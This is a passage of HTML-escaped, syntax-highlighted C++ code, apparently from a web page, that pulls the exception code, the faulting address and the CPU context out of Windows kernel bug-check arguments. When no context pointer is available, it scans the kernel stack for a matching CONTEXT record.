&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Tf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KTRAP_FRAME&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rbp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rax&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R10&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rbp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rbp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Xmm5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegCs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegCs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegSs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegSs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EFlags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EFlags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nl"&gt;SYSTEM_THREAD_EXCEPTION_NOT_HANDLED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionRecord&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;EXCEPTION_RECORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nl"&gt;SYSTEM_SERVICE_EXCEPTION&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nl"&gt;KMODE_EXCEPTION_NOT_HANDLED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nl"&gt;KERNEL_MODE_EXCEPTION_NOT_HANDLED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ExceptionAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Scan for context if no context pointer could be extracted
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="n"&gt;LONG&lt;/span&gt; &lt;span class="n"&gt;ContextAlignment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;__alignof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ULONG64&lt;/span&gt; &lt;span class="n"&gt;StackIt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ContextAlignment&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;StackIt&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ContextFlags&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x10005F&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ContextFlags&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x10001F&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegCs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x0010&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegDs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x002B&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegEs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x002B&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegFs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x0053&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SegGs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x002B&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ExceptionAddress&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ExceptionAddress&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFF080000000000&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
